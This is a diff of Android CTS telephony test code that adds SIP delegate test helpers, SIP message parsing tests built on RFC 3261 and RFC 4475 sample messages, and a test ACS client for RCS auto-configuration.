+        assertEquals(branch, m.getViaBranchParameter());
+        assertEquals(callId, m.getCallIdParameter());
+        assertEquals(m.getViaBranchParameter(), unparcel.getViaBranchParameter());
+        assertEquals(m.getCallIdParameter(), unparcel.getCallIdParameter());
+    }
+
+    @Test
+    public void testEncodeSipMessage() {
+        String startLine =
+                "INVITE sip:12345678@[2607:fc20:3806:2a44:0:6:42ae:5b01]:49155 SIP/2.0\r\n";
+        String header = "Via: SIP/2.0/TCP [FD00:976A:C202:1808::1]:65529;"
+                + "branch=z9hG4bKg3Zqkv7iivdfzmfqu68sro3cuht97q846\r\n"
+                + "To: <sip:12345678;phone-context=xxx.com@xxx.com;"
+                + "user=phone>\r\n"
+                + "From: <sip:12345679@xxx.com>;"
+                + "tag=h7g4Esbg_mavodi-e-10b-123-6-ffffffff-_000050B04074-79e-fc9b8700-29df65"
+                + "-5f3e5811-27196\r\n"
+                + "Call-ID: 000050B04074-79e-fc9b8700-29df64-5f3e5811-26fa8\r\n";
+        byte[] content1 = ("v=0\r\n"
+                + "o=- 10 1000 IN IP6 FD00:976A:C202:1808::1\r\n"
+                + "s=VOIP\r\n"
+                + "c=IN IP6 fd00:976a:c002:1940::4\r\n").getBytes(UTF_8);
+        byte[] content2 = new byte[0];
+
+        SipMessage m = new SipMessage(startLine, header, content1);
+        byte[] encodedMsg = m.getEncodedMessage();
+        String decodedStr = new String(encodedMsg, UTF_8);
+        SipMessage decodedMsg = generateSipMessage(decodedStr);
+        assertEquals(decodedMsg.getStartLine(), m.getStartLine());
+        assertEquals(decodedMsg.getHeaderSection(), m.getHeaderSection());
+        assertTrue(Arrays.equals(decodedMsg.getContent(), m.getContent()));
+
+        // Test empty content
+        m = new SipMessage(startLine, header, content2);
+        encodedMsg = m.getEncodedMessage();
+        decodedStr = new String(encodedMsg, UTF_8);
+        decodedMsg = generateSipMessage(decodedStr);
+        assertEquals(decodedMsg.getStartLine(), m.getStartLine());
+        assertEquals(decodedMsg.getHeaderSection(), m.getHeaderSection());
+        assertTrue(Arrays.equals(decodedMsg.getContent(), m.getContent()));
+    }
+
+    private SipMessage generateSipMessage(String str) {
+        String crlf = "\r\n";
+        String[] components = str.split(crlf);
+        String startLine = "";
+        String header = "";
+        String content = "";
+        StringBuilder sb = new StringBuilder();
+        int idx = 1;
+        if (components.length > 0) {
+            startLine = components[0] + crlf;
+        }
+        // generate sip header
+        idx = composeSipSection(idx, components, sb);
+        header = sb.toString();
+
+        idx++;
+        sb.setLength(0);
+        // generate sip body
+        idx = composeSipSection(idx, components, sb);
+        content = sb.toString();
+
+        return new SipMessage(startLine, header, content.getBytes(UTF_8));
+    }
+
+    private int composeSipSection(int index, String[] components, StringBuilder sb) {
+        String crlf = "\r\n";
+        while (index < components.length) {
+            if (components[index].length() > 0) {
+                sb.append(components[index]).append(crlf);
+                index++;
+            } else {
+                break;
+            }
+        }
+        return index;
+    }
+
+    private void createSipDelegateConnectionNoDelegateExpected(SipDelegateManager manager,
+            TestSipDelegateConnection conn, TestSipTransport transport) throws Exception {
+        // wait for onCreated and reg state changed
+        conn.setOperationCountDownLatch(2);
+        conn.connect(manager);
+        conn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        conn.verifyDelegateCreated();
+        conn.verifyRegistrationStateEmpty();
+        // All requested features should have been denied due to the app not being the default sms
+        // app.
+        conn.verifyAllDenied(SipDelegateManager.DENIED_REASON_NOT_ALLOWED);
+        // There should not have been a call to create a SipDelegate on the service side, since all
+        // features were denied due to permissions issues.
+        assertEquals("SipDelegate should not have been created", 0,
+                transport.getDelegates().size());
+    }
+
+    private void destroySipDelegateConnectionNoDelegate(SipDelegateManager manager,
+            TestSipDelegateConnection delegateConn) throws Exception {
+        delegateConn.setOperationCountDownLatch(1);
+        delegateConn.disconnect(manager,
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyDestroyed(
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+    }
+
+    private void destroySipDelegateAndVerify(SipDelegateManager manager,
+            TestSipTransport transportImpl, TestSipDelegateConnection delegateConn,
+            TestSipDelegate delegate, Set<String> registeredTags) throws Exception {
+        // wait for registration change upon disconnecting state change
+        delegateConn.setOperationCountDownLatch(1);
+        delegateConn.disconnect(manager,
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        // verify we move to deregistering for registered tags.
+        DelegateRegistrationState s = getDeregisteringState(registeredTags,
+                DelegateRegistrationState.DEREGISTERING_REASON_DESTROY_PENDING);
+        delegateConn.verifyRegistrationStateEquals(s);
+        // wait for on destroyed
+        delegateConn.setOperationCountDownLatch(1);
+        transportImpl.waitForLatchCountdownAndReset(TestSipTransport.LATCH_DESTROY_DELEGATE);
+        delegate.notifyOnDestroyed(
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyDestroyed(
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+    }
+
+    private void verifySipDelegateDestroyed(TestSipTransport transportImpl,
+            TestSipDelegateConnection delegateConn, TestSipDelegate delegate,
+            Set<String> registeredTags, int deregReason) {
+        // verify we move to deregistering for registered tags.
+        DelegateRegistrationState s = getDeregisteringState(registeredTags, deregReason);
+        delegateConn.verifyRegistrationStateEquals(s);
+        transportImpl.waitForLatchCountdownAndReset(TestSipTransport.LATCH_DESTROY_DELEGATE);
+        delegate.notifyOnDestroyed(
+                SipDelegateManager.SIP_DELEGATE_DESTROY_REASON_REQUESTED_BY_APP);
+    }
+
+    private TestSipDelegate createSipDelegateConnectionAndVerify(SipDelegateManager manager,
+            TestSipDelegateConnection conn, TestSipTransport transport,
+            Set<FeatureTagState>  deniedTags, int delegateIndex) throws Exception {
+        conn.setOperationCountDownLatch(1);
+        conn.connect(manager);
+        TestSipDelegate d = getSipDelegate(transport, deniedTags, delegateIndex);
+        conn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        conn.verifyDelegateCreated();
+        return d;
+    }
+
+    private TestSipDelegate getSipDelegate(TestSipTransport transport,
+            Set<FeatureTagState> deniedTags, int delegateIndex) {
+        transport.waitForLatchCountdownAndReset(TestSipTransport.LATCH_CREATE_DELEGATE);
+        // There must have been a call to create a SipDelegate on the service side.
+        assertEquals("SipDelegate should have been created", delegateIndex + 1,
+                transport.getDelegates().size());
+        TestSipDelegate d = transport.getDelegates().get(delegateIndex);
+        d.notifyOnCreated(deniedTags);
+        return d;
+    }
+
+    private void verifyRegisteredAndSendSipConfig(TestSipDelegateConnection delegateConn,
+            TestSipDelegate delegate, Set<String> registeredTags,
+            Set<FeatureTagState> deniedTags, SipDelegateImsConfiguration sipConfig) {
+        // wait for reg change to be called
+        delegateConn.setOperationCountDownLatch(1);
+        DelegateRegistrationState s = getRegisteredRegistrationState(registeredTags);
+        delegate.notifyImsRegistrationUpdate(s);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyRegistrationStateRegistered(registeredTags);
+        delegateConn.verifyDenied(deniedTags);
+
+        // send config change as well.
+        sendConfigChange(sipConfig, delegateConn, delegate);
+    }
+
+    private Set<FeatureTagState> generateDeniedSetFromRequest(Set<String> grantedTags,
+            Set<String> newTags, int reason) {
+        // Deny features from newTags that are already granted in grantedTags.
+        return grantedTags.stream().filter(newTags::contains)
+                .map(s -> new FeatureTagState(s, reason))
+                .collect(Collectors.toSet());
+    }
+
+    private void verifyUpdateRegistrationCalled(TestImsRegistration regImpl) {
+        regImpl.resetLatch(TestImsRegistration.LATCH_UPDATE_REGISTRATION, 1);
+        // it is okay to reset and wait here (without race conditions) because there is a
+        // second delay between triggering update registration and the latch being triggered.
+        assertTrue(regImpl.waitForLatchCountDown(TestImsRegistration.LATCH_UPDATE_REGISTRATION,
+                ImsUtils.TEST_TIMEOUT_MS));
+    }
+
+    private void verifyFullRegistrationTriggered(SipDelegateManager manager,
+            TestImsRegistration regImpl, TestSipDelegateConnection delegateConn) throws Exception {
+        delegateConn.verifyDelegateCreated();
+        delegateConn.triggerFullNetworkRegistration(manager, 403, "FORBIDDEN");
+        TestImsRegistration.NetworkRegistrationInfo info =
+                regImpl.getNextFullNetworkRegRequest(ImsUtils.TEST_TIMEOUT_MS);
+        assertNotNull("full registration requested, but ImsRegistrationImplBase "
+                + "implementation did not receive a request.", info);
+        assertEquals(403, info.sipCode);
+        assertEquals("FORBIDDEN", info.sipReason);
+    }
+
+    private void sendMessageAndVerifyAck(TestSipDelegateConnection delegateConn,
+            TestSipDelegate delegate) throws Exception {
+        // Send a message and ensure it gets received on the other end as well as acked
+        delegateConn.sendMessageAndVerifyCompletedSuccessfully(ImsUtils.TEST_SIP_MESSAGE);
+        delegate.verifyMessageSend(ImsUtils.TEST_SIP_MESSAGE);
+        delegateConn.sendCloseDialog(ImsUtils.TEST_CALL_ID);
+        delegate.verifyCloseDialog(ImsUtils.TEST_CALL_ID);
+        // send a message and notify connection that it failed
+        delegate.setSendMessageDenyReason(
+                SipDelegateManager.MESSAGE_FAILURE_REASON_NETWORK_NOT_AVAILABLE);
+        delegateConn.sendMessageAndVerifyFailure(ImsUtils.TEST_SIP_MESSAGE,
+                SipDelegateManager.MESSAGE_FAILURE_REASON_NETWORK_NOT_AVAILABLE);
+        delegate.verifyMessageSend(ImsUtils.TEST_SIP_MESSAGE);
+    }
+
+    private void receiveMessageAndVerifyAck(TestSipDelegateConnection delegateConn,
+            TestSipDelegate delegate) throws Exception {
+        // Receive a message and ensure it gets received on the other end as well as acked
+        delegate.receiveMessageAndVerifyReceivedCalled(ImsUtils.TEST_SIP_MESSAGE);
+        delegateConn.verifyMessageReceived(ImsUtils.TEST_SIP_MESSAGE);
+        // Receive a message and have connection notify that it didn't complete
+        delegateConn.setReceivedMessageErrorResponseReason(
+                SipDelegateManager.MESSAGE_FAILURE_REASON_INVALID_BODY_CONTENT);
+        delegate.receiveMessageAndVerifyReceiveErrorCalled(ImsUtils.TEST_SIP_MESSAGE,
+                SipDelegateManager.MESSAGE_FAILURE_REASON_INVALID_BODY_CONTENT);
+    }
+
+    private void sendConfigChange(SipDelegateImsConfiguration c,
+            TestSipDelegateConnection delegateConn, TestSipDelegate delegate) {
+        delegateConn.setOperationCountDownLatch(1);
+        delegate.notifyImsConfigurationUpdate(c);
+        delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+        delegateConn.verifyConfigEquals(c);
+    }
+
+    private DelegateRegistrationState getRegisteredRegistrationState(Set<String> registered) {
+        return new DelegateRegistrationState.Builder().addRegisteredFeatureTags(registered).build();
+    }
+
+    private DelegateRegistrationState getDeregisteringState(Set<String> deregisterTags,
+            int reason) {
+        DelegateRegistrationState.Builder b = new DelegateRegistrationState.Builder();
+        for (String t : deregisterTags) {
+            b.addDeregisteringFeatureTag(t, reason);
+        }
+        return b.build();
+    }
+
+    private void connectTestImsServiceWithSipTransportAndConfig() throws Exception {
+        PersistableBundle b = new PersistableBundle();
+        b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        overrideCarrierConfig(b);
+
+        assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
+        sServiceConnector.getCarrierService().addCapabilities(
+                ImsService.CAPABILITY_SIP_DELEGATE_CREATION);
+        sServiceConnector.getCarrierService().setSipTransportImplemented();
+        ImsFeatureConfiguration c = getConfigForMmTelAndRcs();
+        assertTrue(sServiceConnector.triggerFrameworkConnectionToCarrierImsService(c));
+        verifyImsServiceState(c);
+    }
+
+
     private void connectTestImsServiceWithSipTransport() throws Exception {
         assertTrue(sServiceConnector.connectCarrierImsServiceLocally());
         sServiceConnector.getCarrierService().addCapabilities(
@@ -422,6 +1150,21 @@
         return null;
     }
 
+    private DelegateRequest getDefaultRequest() {
+        ArraySet<String> features = new ArraySet<>(3);
+        features.add(TestSipTransport.ONE_TO_ONE_CHAT_TAG);
+        features.add(TestSipTransport.GROUP_CHAT_TAG);
+        features.add(TestSipTransport.FILE_TRANSFER_HTTP_TAG);
+        return new DelegateRequest(features);
+    }
+
+    private DelegateRequest getChatOnlyRequest() {
+        ArraySet<String> features = new ArraySet<>(3);
+        features.add(TestSipTransport.ONE_TO_ONE_CHAT_TAG);
+        features.add(TestSipTransport.GROUP_CHAT_TAG);
+        return new DelegateRequest(features);
+    }
+
     private ImsFeatureConfiguration getConfigForMmTelAndRcs() {
         return new ImsFeatureConfiguration.Builder()
                 .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipMessageParsingTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipMessageParsingTest.java
new file mode 100644
index 0000000..a260caf
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipMessageParsingTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.telephony.ims.SipMessage;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.internal.telephony.SipMessageParsingUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SipMessageParsingTest {
+
+    // Sample messages from RFC 3261 modified for parsing use cases.
+    public static final SipMessage SIP_MESSAGE_1 = new SipMessage(
+            "INVITE sip:bob@biloxi.com SIP/2.0",
+            // Typical Via
+            "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bK776asdhds\n"
+                    + "Max-Forwards: 70\n"
+                    + "To: Bob <sip:bob@biloxi.com>\n"
+                    + "From: Alice <sip:alice@atlanta.com>;tag=1928301774\n"
+                    + "Call-ID: a84b4c76e66710@pc33.atlanta.com\n"
+                    + "CSeq: 314159 INVITE\n"
+                    + "Contact: <sip:alice@pc33.atlanta.com>\n"
+                    + "Content-Type: application/sdp\n"
+                    + "Content-Length: 142",
+            new byte[0]);
+    public static final String SIP_MESSAGE_1_TRANSACTION_ID = "z9hG4bK776asdhds";
+    public static final String SIP_MESSAGE_1_CALL_ID = "a84b4c76e66710@pc33.atlanta.com";
+    public static final SipMessage SIP_MESSAGE_2 = new SipMessage(
+            "INVITE sip:bob@biloxi.com SIP/2.0",
+            // include leading whitespace.
+            " Max-Forwards: 70\n"
+                    + "To: Bob <sip:bob@biloxi.com>\n"
+                    + "From: Alice <sip:alice@atlanta.com>;tag=1928301774\n"
+                    + "Call-ID: a84b4c76e66710@pc33.atlanta.com\n"
+                    + "CSeq: 314159 INVITE\n"
+                    + "Contact: <sip:alice@pc33.atlanta.com>\n"
+                    + "Content-Type: application/sdp\n"
+                    + "Content-Length: 142\n"
+                    // transaction ID should be returned for the first "Via"
+                    + "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKabcdefghi\n"
+                    + "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bK776asdhds\n",
+
+            new byte[0]);
+    public static final String SIP_MESSAGE_2_TRANSACTION_ID = "z9hG4bKabcdefghi";
+    public static final String SIP_MESSAGE_2_CALL_ID = "a84b4c76e66710@pc33.atlanta.com";
+    public static final SipMessage SIP_MESSAGE_3 = new SipMessage(
+            "INVITE sip:bob@biloxi.com SIP/2.0",
+            "Max-Forwards: 70\n"
+                    + "To: Bob <sip:bob@biloxi.com>\n"
+                    + "From: Alice <sip:alice@atlanta.com>;tag=1928301774\n"
+                    // Subject line is split into multiple lines via space and tab.
+                    + "Subject: I know you're there,\n"
+                    + " pick up the phone\n"
+                    + "\tand talk to me!\n"
+                    // non-standard key with the same starting chars as via
+                    + "Viaabc: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKzynope\n"
+                    // transaction ID should be returned for the first "Via"
+                    + "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKzyxwvutsr\n"
+                    // non-standard key with the same starting chars as call-id
+                    + "call-idabc: nottheone@pc33.atlanta.com\n"
+                    + "Call-ID: a84b4c76e66710@pc33.atlanta.com\n"
+                    + "CSeq: 314159 INVITE\n"
+                    + "Contact: <sip:alice@pc33.atlanta.com>\n"
+                    + "Content-Type: application/sdp\n"
+                    + "Content-Length: 142\n"
+                    + "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKabcdefghi\n",
+            new byte[0]);
+    public static final String SIP_MESSAGE_3_TRANSACTION_ID = "z9hG4bKzyxwvutsr";
+    public static final String SIP_MESSAGE_3_CALL_ID = "a84b4c76e66710@pc33.atlanta.com";
+    // compact form
+    public static final SipMessage SIP_MESSAGE_4 = new SipMessage(
+            "INVITE sip:bob@biloxi.com SIP/2.0",
+            "Max-Forwards: 70\n"
+                    + "t: Bob <sip:bob@biloxi.com>\n"
+                    + "f: Alice <sip:alice@atlanta.com>;tag=1928301774\n"
+                    // compat form of via
+                    + "v: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKAbCdEfGiJ\n"
+                    + "v: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKabcdefghi\n"
+                    + "i: a84b4c76e66710@pc33.atlanta.com\n"
+                    + "CSeq: 314159 INVITE\n"
+                    + "m: <sip:alice@pc33.atlanta.com>\n"
+                    + "c: application/sdp\n"
+                    + "l: 142\n",
+            new byte[0]);
+    public static final String SIP_MESSAGE_4_TRANSACTION_ID = "z9hG4bKAbCdEfGiJ";
+    public static final String SIP_MESSAGE_4_CALL_ID = "a84b4c76e66710@pc33.atlanta.com";
+    public static final SipMessage SIP_MESSAGE_5 = new SipMessage(
+            "INVITE sip:bob@biloxi.com SIP/2.0",
+            "Max-Forwards: 70\n"
+                    + "To: Bob <sip:bob@biloxi.com>\n"
+                    + "From: Alice <sip:alice@atlanta.com>;tag=1928301774\n"
+                    // Malformed lines
+                    + "Subject: I know you're there,\n"
+                    + "pick up the phone\n"
+                    + "and talk to me!\n"
+                    // non-standard key with the same starting chars
+                    + "Viaabc: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKzyxnope\n"
+                    // transaction ID should be returned for the first "Via"
+                    + "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKzyxwvutsr\n"
+                    // non-standard key with the same starting chars
+                    + "iabc: nottheone@pc33.atlanta.com\n"
+                    + "i: a84b4c76e66710@pc33.atlanta.com\n"
+                    + "CSeq: 314159 INVITE\n"
+                    + "Contact: <sip:alice@pc33.atlanta.com>\n"
+                    + "Content-Type: application/sdp\n"
+                    + "Content-Length: 142\n"
+                    + "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKabcdefghi\n",
+            new byte[0]);
+    public static final String SIP_MESSAGE_5_TRANSACTION_ID = "z9hG4bKzyxwvutsr";
+    public static final String SIP_MESSAGE_5_CALL_ID = "a84b4c76e66710@pc33.atlanta.com";
+    // Not practical, but ensure that parsing works, even in special cases like one line.
+    public static final SipMessage SIP_MESSAGE_6 = new SipMessage(
+            "INVITE sip:bob@biloxi.com SIP/2.0",
+            "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bKabcdefghi\n",
+            new byte[0]);
+    public static final String SIP_MESSAGE_6_TRANSACTION_ID = "z9hG4bKabcdefghi";
+    public static final String SIP_MESSAGE_6_CALL_ID = null;
+    public static final SipMessage SIP_MESSAGE_7 = new SipMessage(
+            "INVITE sip:bob@biloxi.com SIP/2.0",
+            "Max-Forwards: 70\n"
+                    + "To: Bob <sip:bob@biloxi.com>\n"
+                    + "From: Alice <sip:alice@atlanta.com>;tag=1928301774\n"
+                    + "Call-ID: a84b4c76e66710@pc33.atlanta.com\n"
+                    + "CSeq: 314159 INVITE\n"
+                    + "Contact: <sip:alice@pc33.atlanta.com>\n"
+                    + "Content-Type: application/sdp\n"
+                    + "Content-Length: 142\n"
+                    // Typical Via, but on last line to test edge conditions
+                    + "Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bK776asdhds",
+            new byte[0]);
+    public static final String SIP_MESSAGE_7_TRANSACTION_ID = "z9hG4bK776asdhds";
+    public static final String SIP_MESSAGE_7_CALL_ID = "a84b4c76e66710@pc33.atlanta.com";
+    // SIP Message from RFC 4475 "A Short Tortuous INVITE"
+    public static final SipMessage SIP_MESSAGE_8 = new SipMessage(
+            "INVITE sip:vivekg@chair-dnrc.example.com;unknownparam SIP/2.0",
+            "TO :\n"
+                    + " sip:vivekg@chair-dnrc.example.com ;   tag    = 1918181833n\n"
+                    + "from   : \"J Rosenberg \\\\\\\"\"       <sip:jdrosen@example.com>\n"
+                    + "  ;\n"
+                    + "  tag = 98asjd8\n"
+                    + "MaX-fOrWaRdS: 0068\n"
+                    + "Call-ID: wsinv.ndaksdj@192.0.2.1\n"
+                    + "Content-Length   : 150\n"
+                    + "cseq: 0009\n"
+                    + "  INVITE\n"
+                    + "s :\n"
+                    + "NewFangledHeader:   newfangled value\n"
+                    + " continued newfangled value\n"
+                    + "UnknownHeaderWithUnusualValue: ;;,,;;,;\n"
+                    + "Content-Type: application/sdp\n"
+                    + "Route:\n"
+                    + " <sip:services.example.com;lr;unknownwith=value;unknown-no-value>\n"
+                    // Note, this has multiple Via headers concatenated with one header key, we
+                    // should return the first in the list.
+                    + "v:  SIP  / 2.0  / TCP     spindle.example.com   ;\n"
+                    + "  branch  =   z9hG4bK9ikj8  ,\n"
+                    + " SIP  /    2.0   / UDP  192.168.255.111   ; branch=\n"
+                    + " z9hG4bK30239\n"
+                    + "Via  : SIP  /   2.0\n"
+                    + " /UDP\n"
+                    + "    192.0.2.2;branch=z9hG4bK390skdjuw\n"
+                    + "m:\"Quoted string \\\"\\\"\" <sip:jdrosen@example.com> ; newparam =\n"
+                    + "      newvalue ;\n"
+                    + "   secondparam ; q = 0.33",
+            new byte[0]);
+    public static final String SIP_MESSAGE_8_TRANSACTION_ID = "z9hG4bK9ikj8";
+    public static final String SIP_MESSAGE_8_CALL_ID = "wsinv.ndaksdj@192.0.2.1";
+
+    @Test
+    public void testGetViaBranch() {
+        assertEquals(SIP_MESSAGE_1_TRANSACTION_ID, SipMessageParsingUtils.getTransactionId(
+                SIP_MESSAGE_1.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_2_TRANSACTION_ID, SipMessageParsingUtils.getTransactionId(
+                SIP_MESSAGE_2.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_3_TRANSACTION_ID, SipMessageParsingUtils.getTransactionId(
+                SIP_MESSAGE_3.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_4_TRANSACTION_ID, SipMessageParsingUtils.getTransactionId(
+                SIP_MESSAGE_4.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_5_TRANSACTION_ID, SipMessageParsingUtils.getTransactionId(
+                SIP_MESSAGE_5.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_6_TRANSACTION_ID, SipMessageParsingUtils.getTransactionId(
+                SIP_MESSAGE_6.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_7_TRANSACTION_ID, SipMessageParsingUtils.getTransactionId(
+                SIP_MESSAGE_7.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_8_TRANSACTION_ID, SipMessageParsingUtils.getTransactionId(
+                SIP_MESSAGE_8.getHeaderSection()));
+    }
+
+    @Test
+    public void testGetCallId() {
+        assertEquals(SIP_MESSAGE_1_CALL_ID, SipMessageParsingUtils.getCallId(
+                SIP_MESSAGE_1.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_2_CALL_ID, SipMessageParsingUtils.getCallId(
+                SIP_MESSAGE_2.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_3_CALL_ID, SipMessageParsingUtils.getCallId(
+                SIP_MESSAGE_3.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_4_CALL_ID, SipMessageParsingUtils.getCallId(
+                SIP_MESSAGE_4.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_5_CALL_ID, SipMessageParsingUtils.getCallId(
+                SIP_MESSAGE_5.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_6_CALL_ID, SipMessageParsingUtils.getCallId(
+                SIP_MESSAGE_6.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_7_CALL_ID, SipMessageParsingUtils.getCallId(
+                SIP_MESSAGE_7.getHeaderSection()));
+        assertEquals(SIP_MESSAGE_8_CALL_ID, SipMessageParsingUtils.getCallId(
+                SIP_MESSAGE_8.getHeaderSection()));
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java
new file mode 100644
index 0000000..513ce83
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestAcsClient.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.RcsClientConfiguration;
+import android.telephony.ims.stub.ImsConfigImplBase;
+
+import java.util.concurrent.LinkedBlockingQueue;
+
+public class TestAcsClient {
+    public static int ACTION_SET_RCS_CLIENT_CONFIG = 1;
+    public static int ACTION_TRIGGER_AUTO_CONFIG = 2;
+    public static int ACTION_CONFIG_CHANGED = 3;
+    public static int ACTION_CONFIG_REMOVED = 4;
+
+    private LinkedBlockingQueue<Integer> mActionQueue = new LinkedBlockingQueue<>();
+    private RcsClientConfiguration mRcc;
+    private byte[] mConfig;
+    private ImsConfigImplBase mImsConfigImpl;
+
+    private static TestAcsClient sInstance;
+
+    private TestAcsClient() {}
+
+    public static TestAcsClient getInstance() {
+        if (sInstance == null) {
+            sInstance = new TestAcsClient();
+        }
+        return sInstance;
+    }
+
+    public void onSetRcsClientConfiguration(RcsClientConfiguration rcc) {
+        mActionQueue.offer(ACTION_SET_RCS_CLIENT_CONFIG);
+        mRcc = rcc;
+    }
+
+    public void onTriggerAutoConfiguration() {
+        mActionQueue.offer(ACTION_TRIGGER_AUTO_CONFIG);
+    }
+
+    public void onConfigChanged(byte[] config, boolean isCompressed) {
+        mActionQueue.offer(ACTION_CONFIG_CHANGED);
+        mConfig = isCompressed ? ImsUtils.decompressGzip(config) : config;
+    }
+
+    public void onConfigRemoved() {
+        mActionQueue.offer(ACTION_CONFIG_REMOVED);
+        mConfig = null;
+    }
+
+    public LinkedBlockingQueue<Integer> getActionQueue() {
+        return mActionQueue;
+    }
+
+    public RcsClientConfiguration getRcc() {
+        return mRcc;
+    }
+
+    public byte[] getConfig() {
+        return mConfig;
+    }
+
+    public void reset() {
+        mActionQueue.clear();
+        mRcc = null;
+        mConfig = null;
+    }
+
+    public void setImsConfigImpl(ImsConfigImplBase impl) {
+        mImsConfigImpl = impl;
+    }
+
+    public void notifyPreProvisioning(byte[] conf) {
+        mImsConfigImpl.notifyPreProvisioningReceived(conf);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
index 00c5a1b..36ef85e 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
@@ -16,6 +16,7 @@
 
 package android.telephony.ims.cts;
 
+import android.telephony.ims.RcsClientConfiguration;
 import android.telephony.ims.stub.ImsConfigImplBase;
 
 import java.util.HashMap;
@@ -25,6 +26,10 @@
     private HashMap<Integer, Integer> mIntHashMap = new HashMap<>();
     private HashMap<Integer, String> mStringHashMap = new HashMap<>();
 
+    TestImsConfig() {
+        TestAcsClient.getInstance().setImsConfigImpl(this);
+    }
+
     @Override
     public int setConfig(int item, int value) {
         mIntHashMap.put(item, value);
@@ -50,7 +55,21 @@
 
     @Override
     public void notifyRcsAutoConfigurationReceived(byte[] content, boolean isCompressed) {
-        int item = isCompressed ? ImsUtils.ITEM_COMPRESSED : ImsUtils.ITEM_NON_COMPRESSED;
-        setConfig(item, new String(content));
+        TestAcsClient.getInstance().onConfigChanged(content, isCompressed);
+    }
+
+    @Override
+    public void notifyRcsAutoConfigurationRemoved() {
+        TestAcsClient.getInstance().onConfigRemoved();
+    }
+
+    @Override
+    public void setRcsClientConfiguration(RcsClientConfiguration rcc) {
+        TestAcsClient.getInstance().onSetRcsClientConfiguration(rcc);
+    }
+
+    @Override
+    public void triggerAutoConfiguration() {
+        TestAcsClient.getInstance().onTriggerAutoConfiguration();
     }
 }
